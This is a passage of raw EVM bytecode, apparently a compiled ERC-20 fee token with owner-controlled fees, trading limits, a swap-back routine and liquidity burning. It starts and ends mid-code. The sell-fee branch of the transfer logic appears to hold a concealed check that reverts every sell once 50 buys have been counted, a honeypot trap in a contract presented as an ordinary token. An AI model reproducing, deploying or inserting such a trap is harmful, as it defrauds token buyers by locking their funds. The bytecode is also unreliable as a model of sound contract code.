01528181612989015281816129b601528181612fc9015281816140f2015281816141ab01526141d801526000818161103101528181612f7101528181614322015281816144030152818161442a015281816144c601526144ed0152615daf6000f3fe6080604052600436106103d25760003560e01c80638da5cb5b116101fd578063c024666811610118578063dd62ed3e116100ab578063f2fde38b1161007a578063f2fde38b14610e7a578063f637434214610ea3578063f8b45b0514610ece578063fbc10c5514610ef9578063fe72b27a14610f22576103d9565b8063dd62ed3e14610dbc578063e2f4560514610df9578063e884f26014610e24578063f11a24d314610e4f576103d9565b8063c8c8ebe4116100e7578063c8c8ebe414610cfe578063d00efb2f14610d29578063d257b34f14610d54578063d85ba06314610d91576103d9565b8063c024666814610c58578063c17b5b8c14610c81578063c18bc19514610caa578063c876d0b914610cd3576103d9565b80639fccce3211610190578063a9059cbb1161015f578063a9059cbb14610b8a578063aacebbe314610bc7578063b62496f514610bf0578063bbc0c74214610c2d576103d9565b80639fccce3214610acc578063a0d82dc514610af7578063a457c2d714610b22578063a4c82a0014610b5f576103d9565b806395d89b41116101cc57806395d89b4114610a225780639a7a23d614610a4d5780639c3b4fdc14610a765780639ec22c0e14610aa1576103d9565b80638da5cb5b146109785780638ea5220f146109a357806392136913146109ce578063924de9b7146109f9576103d9565b806339509351116102ed578063715018a61161028057806375f0a8741161024f57806375f0a874146108e25780637bce5a041461090d5780638095d564146109385780638a8c523c14610961576103d9565b8063715018a61461084e578063730c188814610865578063751039fc1461088e5780637571336a146108b9576103d9565b80636303516c116102bc5780636303516c146107905780636a486a8e146107bb5780636ddd1713146107e657806370a0823114610811576103d9565b806339509351146106c057806349bd5a5e146106fd5780634a62bb65146107285780634fbee19314610753576103d9565b80631a8145bb1161036557806327c8f8351161033457806327c8f835146106145780632c3e486c1461063f5780632e82f1a01461066a578063313ce56714610695576103d9565b80631a8145bb146105585780631f3fed8f14610583578063203e727e146105ae57806323b872dd146105d7576103d9565b806318160ddd116103a157806318160ddd146104ae5780631816467f146104d9578063184c16c514610502578063199ffc721461052d576103d9565b806306fdde03146103de578063095ea7b31461040957806310d5de53146104465780631694505e14610483576103d9565b366103d957005b600080fd5b3480156103ea57600080fd5b506103f3610f5f565b604051610400919061464c565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b9190614707565b610ff1565b60405161043d9190614762565b60405180910390f35b34801561045257600080fd5b5061046d6004803603810190610468919061477d565b61100f565b60405161047a9190614762565b60405180910390f35b34801561048f57600080fd5b5061049861102f565b6040516104a59190614809565b60405180910390f35b3480156104ba57600080fd5b506104c3611053565b6040516104d09190614833565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb919061477d565b61105d565b005b34801561050e57600080fd5b50610517611199565b6040516105249190614833565b60405180910390f35b34801561053957600080fd5b5061054261119f565b60405161054f9190614833565b60405180910390f35b34801561056457600080fd5b5061056d6111a5565b60405161057a9190614833565b60405180910390f35b34801561058f57600080fd5b506105986111ab565b6040516105a59190614833565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d0919061484e565b6111b1565b005b3480156105e357600080fd5b506105fe60048036038101906105f9919061487b565b6112c0565b60405161060b9190614762565b60405180910390f35b34801561062057600080fd5b506106296113b8565b60405161063691906148dd565b60405180910390f35b34801561064b57600080fd5b506106546113be565b6040516106619190614833565b60405180910390f35b34801561067657600080fd5b5061067f6113c4565b60405161068c9190614762565b60405180910390f35b3480156106a157600080fd5b506106aa6113d7565b6040516106b79190614914565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e29190614707565b6113e0565b6040516106f49190614762565b60405180910390f35b34801561070957600080fd5b5061071261148c565b60405161071f91906148dd565b60405180910390f35b34801561073457600080fd5b5061073d6114b0565b60405161074a9190614762565b60405180910390f35b34801561075f57600080fd5b5061077a6004803603810190610775919061477d565b6114c3565b6040516107879190614762565b60405180910390f35b34801561079c57600080fd5b506107a5611519565b6040516107b291906148dd565b60405180910390f35b3480156107c757600080fd5b506107d061153f565b6040516107dd9190614833565b60405180910390f35b3480156107f257600080fd5b506107fb611545565b6040516108089190614762565b60405180910390f35b34801561081d57600080fd5b506108386004803603810190610833919061477d565b611558565b6040516108459190614833565b60405180910390f35b34801561085a57600080fd5b506108636115a0565b005b34801561087157600080fd5b5061088c6004803603810190610887919061495b565b611628565b005b34801561089a57600080fd5b506108a3611768565b6040516108b09190614762565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db91906149ae565b611808565b005b3480156108ee57600080fd5b506108f76118df565b60405161090491906148dd565b60405180910390f35b34801561091957600080fd5b50610922611905565b60405161092f9190614833565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a91906149ee565b61190b565b005b34801561096d57600080fd5b50610976611a0a565b005b34801561098457600080fd5b5061098d611ac5565b60405161099a91906148dd565b60405180910390f35b3480156109af57600080fd5b506109b8611aef565b6040516109c591906148dd565b60405180910390f35b3480156109da57600080fd5b506109e3611b15565b6040516109f09190614833565b60405180910390f35b348015610a0557600080fd5b50610a206004803603810190610a1b9190614a41565b611b1b565b005b348015610a2e57600080fd5b50610a37611bb4565b604051610a44919061464c565b60405180910390f35b348015610a5957600080fd5b50610a746004803603810190610a6f91906149ae565b611c46565b005b348015610a8257600080fd5b50610a8b611d5e565b604051610a989190614833565b60405180910390f35b348015610aad57600080fd5b50610ab6611d64565b604051610ac39190614833565b60405180910390f35b348015610ad857600080fd5b50610ae1611d6a565b604051610aee9190614833565b60405180910390f35b348015610b0357600080fd5b50610b0c611d70565b604051610b199190614833565b60405180910390f35b348015610b2e57600080fd5b50610b496004803603810190610b449190614707565b611d76565b604051610b569190614762565b60405180910390f35b348015610b6b57600080fd5b50610b74611e61565b604051610b819190614833565b60405180910390f35b348015610b9657600080fd5b50610bb16004803603810190610bac9190614707565b611e67565b604051610bbe9190614762565b60405180910390f35b348015610bd357600080fd5b50610bee6004803603810190610be9919061477d565b611e85565b005b348015610bfc57600080fd5b50610c176004803603810190610c12919061477d565b611fc1565b604051610c249190614762565b60405180910390f35b348015610c3957600080fd5b50610c42611fe1565b604051610c4f9190614762565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a91906149ae565b611ff4565b005b348015610c8d57600080fd5b50610ca86004803603810190610ca391906149ee565b612119565b005b348015610cb657600080fd5b50610cd16004803603810190610ccc919061484e565b612218565b005b348015610cdf57600080fd5b50610ce8612327565b604051610cf59190614762565b60405180910390f35b348015610d0a57600080fd5b50610d1361233a565b604051610d209190614833565b60405180910390f35b348015610d3557600080fd5b50610d3e612340565b604051610d4b9190614833565b60405180910390f35b348015610d6057600080fd5b50610d7b6004803603810190610d76919061484e565b612346565b604051610d889190614762565b60405180910390f35b348015610d9d57600080fd5b50610da661249b565b604051610db39190614833565b60405180910390f35b348015610dc857600080fd5b50610de36004803603810190610dde9190614a6e565b6124a1565b604051610df09190614833565b60405180910390f35b348015610e0557600080fd5b50610e0e612528565b604051610e1b9190614833565b60405180910390f35b348015610e3057600080fd5b50610e3961252e565b604051610e469190614762565b60405180910390f35b348015610e5b57600080fd5b50610e646125ce565b604051610e719190614833565b60405180910390f35b348015610e8657600080fd5b50610ea16004803603810190610e9c919061477d565b6125d4565b005b348015610eaf57600080fd5b50610eb86126cb565b604051610ec59190614833565b60405180910390f35b348015610eda57600080fd5b50610ee36126d1565b604051610ef09190614833565b60405180910390f35b348015610f0557600080fd5b50610f206004803603810190610f1b919061477d565b6126d7565b005b348015610f2e57600080fd5b50610f496004803603810190610f44919061484e565b612797565b604051610f569190614762565b60405180910390f35b606060038054610f6e90614add565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9a90614add565b8015610fe75780601f10610fbc57610100808354040283529160200191610fe7565b820191906000526020600020905b815481529060010190602001808311610fca57829003601f168201915b5050505050905090565b6000611005610ffe612a43565b8484612a4b565b6001905092915050565b60226020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b611065612a43565b73ffffffffffffffffffffffffffffffffffffffff16611083611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d090614b5a565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b600c5481565b601f5481565b601e5481565b6111b9612a43565b73ffffffffffffffffffffffffffffffffffffffff166111d7611ac5565b73ffffffffffffffffffffffffffffffffffffffff161461122d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122490614b5a565b60405180910390fd5b670de0b6b3a76400006103e86001611243611053565b61124d9190614ba9565b6112579190614c1a565b6112619190614c1a565b8110156112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90614cbd565b60405180910390fd5b670de0b6b3a7640000816112b79190614ba9565b60098190555050565b60006112cd848484612c14565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611318612a43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f90614d4f565b60405180910390fd5b6113ac856113a4612a43565b858403612a4b565b60019150509392505050565b61dead81565b600e5481565b600d60009054906101000a900460ff1681565b60006012905090565b60006114826113ed612a43565b8484600160006113fb612a43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147d9190614d6f565b612a4b565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601360009054906101000a900460ff1681565b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a5481565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6115a8612a43565b73ffffffffffffffffffffffffffffffffffffffff166115c6611ac5565b73ffffffffffffffffffffffffffffffffffffffff161461161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390614b5a565b60405180910390fd5b61162660006139d0565b565b611630612a43565b73ffffffffffffffffffffffffffffffffffffffff1661164e611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146116a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169b90614b5a565b60405180910390fd5b6102588310156116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614e15565b60405180910390fd5b6103e882111580156116fc575060008210155b61173b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173290614ea7565b60405180910390fd5b82600e8190555081600c8190555080600d60006101000a81548160ff021916908315150217905550505050565b6000611772612a43565b73ffffffffffffffffffffffffffffffffffffffff16611790611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd90614b5a565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b611810612a43565b73ffffffffffffffffffffffffffffffffffffffff1661182e611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90614b5a565b60405180910390fd5b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b611913612a43565b73ffffffffffffffffffffffffffffffffffffffff16611931611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197e90614b5a565b60405180910390fd5b8260178190555081601881905550806019819055506019546018546017546119af9190614d6f565b6119b99190614d6f565b60168190555060146016541115611a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fc90614f13565b60405180910390fd5b505050565b611a12612a43565b73ffffffffffffffffffffffffffffffffffffffff16611a30611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90614b5a565b60405180910390fd5b6001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff02191690831515021790555042600f81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b611b23612a43565b73ffffffffffffffffffffffffffffffffffffffff16611b41611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8e90614b5a565b60405180910390fd5b80601360026101000a81548160ff02191690831515021790555050565b606060048054611bc390614add565b80601f0160208091040260200160405190810160405280929190818152602001828054611bef90614add565b8015611c3c5780601f10611c1157610100808354040283529160200191611c3c565b820191906000526020600020905b815481529060010190602001808311611c1f57829003601f168201915b5050505050905090565b611c4e612a43565b73ffffffffffffffffffffffffffffffffffffffff16611c6c611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb990614b5a565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790614fa5565b60405180910390fd5b611d5a8282613a96565b5050565b60195481565b60125481565b60205481565b601d5481565b60008060016000611d85612a43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3990615037565b60405180910390fd5b611e56611e4d612a43565b85858403612a4b565b600191505092915050565b600f5481565b6000611e7b611e74612a43565b8484612c14565b6001905092915050565b611e8d612a43565b73ffffffffffffffffffffffffffffffffffffffff16611eab611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614611f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef890614b5a565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60236020528060005260406000206000915054906101000a900460ff1681565b601360019054906101000a900460ff1681565b611ffc612a43565b73ffffffffffffffffffffffffffffffffffffffff1661201a611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206790614b5a565b60405180910390fd5b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161210d9190614762565b60405180910390a25050565b612121612a43565b73ffffffffffffffffffffffffffffffffffffffff1661213f611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218c90614b5a565b60405180910390fd5b82601b8190555081601c8190555080601d81905550601d54601c54601b546121bd9190614d6f565b6121c79190614d6f565b601a819055506014601a541115612213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220a906150a3565b60405180910390fd5b505050565b612220612a43565b73ffffffffffffffffffffffffffffffffffffffff1661223e611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228b90614b5a565b60405180910390fd5b670de0b6b3a76400006103e860056122aa611053565b6122b49190614ba9565b6122be9190614c1a565b6122c89190614c1a565b81101561230a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230190615135565b60405180910390fd5b670de0b6b3a76400008161231e9190614ba9565b600b8190555050565b601560009054906101000a900460ff1681565b60095481565b60115481565b6000612350612a43565b73ffffffffffffffffffffffffffffffffffffffff1661236e611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90614b5a565b60405180910390fd5b620186a060016123d2611053565b6123dc9190614ba9565b6123e69190614c1a565b821015612428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241f906151c7565b60405180910390fd5b6103e86005612435611053565b61243f9190614ba9565b6124499190614c1a565b82111561248b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248290615259565b60405180910390fd5b81600a8190555060019050919050565b60165481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b6000612538612a43565b73ffffffffffffffffffffffffffffffffffffffff16612556611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146125ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a390614b5a565b60405180910390fd5b6000601560006101000a81548160ff0219169083151502179055506001905090565b60185481565b6125dc612a43565b73ffffffffffffffffffffffffffffffffffffffff166125fa611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264790614b5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036126bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b6906152eb565b60405180910390fd5b6126c8816139d0565b50565b601c5481565b600b5481565b6126df612a43565b73ffffffffffffffffffffffffffffffffffffffff166126fd611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274a90614b5a565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006127a1612a43565b73ffffffffffffffffffffffffffffffffffffffff166127bf611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280c90614b5a565b60405180910390fd5b6010546012546128259190614d6f565b4211612866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285d90615357565b60405180910390fd5b6103e88211156128ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a2906153e9565b60405180910390fd5b4260128190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000000000000000000000000000000000000000000006040518263ffffffff1660e01b815260040161290d91906148dd565b602060405180830381865afa15801561292a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061294e919061541e565b9050600061297961271061296b8685613b3790919063ffffffff16565b613b4d90919063ffffffff16565b905060008111156129b2576129b17f000000000000000000000000000000000000000000000000000000000000000061dead83613b63565b5b60007f000000000000000000000000000000000000000000000000000000000000000090508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a1f57600080fd5b505af1158015612a33573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab1906154bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b209061554f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612c079190614833565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7a906155e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce990615673565b60405180910390fd5b60008103612d0b57612d0683836000613b63565b6139cb565b601360009054906101000a900460ff16156133ce57612d28611ac5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612d965750612d66611ac5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612dcf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e09575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e225750600560149054906101000a900460ff16155b156133cd57601360019054906101000a900460ff16612f1c57602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612edc5750602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f12906156df565b60405180910390fd5b5b601560009054906101000a900460ff16156130e457612f39611ac5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612fc057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561301857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156130e35743601460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061309e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309590615797565b60405180910390fd5b43601460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156131875750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561322e576009548111156131d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c890615829565b60405180910390fd5b600b546131dd83611558565b826131e89190614d6f565b1115613229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161322090615895565b60405180910390fd5b6133cc565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132d15750602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133205760095481111561331b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161331290615927565b60405180910390fd5b6133cb565b602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133ca57600b5461337d83611558565b826133889190614d6f565b11156133c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133c090615895565b60405180910390fd5b5b5b5b5b5b60006133d930611558565b90506000600a5482101590508080156133fe5750601360029054906101000a900460ff165b80156134175750600560149054906101000a900460ff16155b801561346d5750602360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156134c35750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156135195750602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561355d576001600560146101000a81548160ff021916908315150217905550613541613de2565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156135c35750602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156135db5750600d60009054906101000a900460ff165b80156135f65750600e54600f546135f29190614d6f565b4210155b801561364c5750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561365b576136596140c9565b505b6000600560149054906101000a900460ff16159050602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806137115750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561371b57600090505b600081156139bb57602360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561377e57506000601a54115b1561385a576137ab606461379d601a5488613b3790919063ffffffff16565b613b4d90919063ffffffff16565b9050601a54601c54826137be9190614ba9565b6137c89190614c1a565b601f60008282546137d99190614d6f565b92505081905550601a54601d54826137f19190614ba9565b6137fb9190614c1a565b6020600082825461380c9190614d6f565b9250508190555060326011541061382257600080fd5b601a54601b54826138339190614ba9565b61383d9190614c1a565b601e600082825461384e9190614d6f565b92505081905550613997565b602360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156138b557506000601654115b15613996576138e260646138d460165488613b3790919063ffffffff16565b613b4d90919063ffffffff16565b9050601654601854826138f59190614ba9565b6138ff9190614c1a565b601f60008282546139109190614d6f565b92505081905550601654601954826139289190614ba9565b6139329190614c1a565b602060008282546139439190614d6f565b925050819055506011600081548092919061395d90615947565b9190505550601654601754826139739190614ba9565b61397d9190614c1a565b601e600082825461398e9190614d6f565b925050819055505b5b60008111156139ac576139ab873083613b63565b5b80856139b8919061598f565b94505b6139c6878787613b63565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008183613b459190614ba9565b905092915050565b60008183613b5b9190614c1a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bc9906155e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c3890615673565b60405180910390fd5b613c4c838383614263565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cc990615a35565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d659190614d6f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613dc99190614833565b60405180910390a3613ddc848484614268565b50505050565b6000613ded30611558565b90506000602054601e54601f54613e049190614d6f565b613e0e9190614d6f565b9050600080831480613e205750600082145b15613e2d575050506140c7565b6014600a54613e3c9190614ba9565b831115613e55576014600a54613e529190614ba9565b92505b6000600283601f5486613e689190614ba9565b613e729190614c1a565b613e7c9190614c1a565b90506000613e93828661426d90919063ffffffff16565b90506000479050613ea382614283565b6000613eb8824761426d90919063ffffffff16565b90506000613ee387613ed5601e5485613b3790919063ffffffff16565b613b4d90919063ffffffff16565b90506000613f0e88613f0060205486613b3790919063ffffffff16565b613b4d90919063ffffffff16565b90506000818385613f1f919061598f565b613f29919061598f565b90506000601f819055506000601e819055506000602081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613f8990615a86565b60006040518083038185875af1925050503d8060008114613fc6576040519150601f19603f3d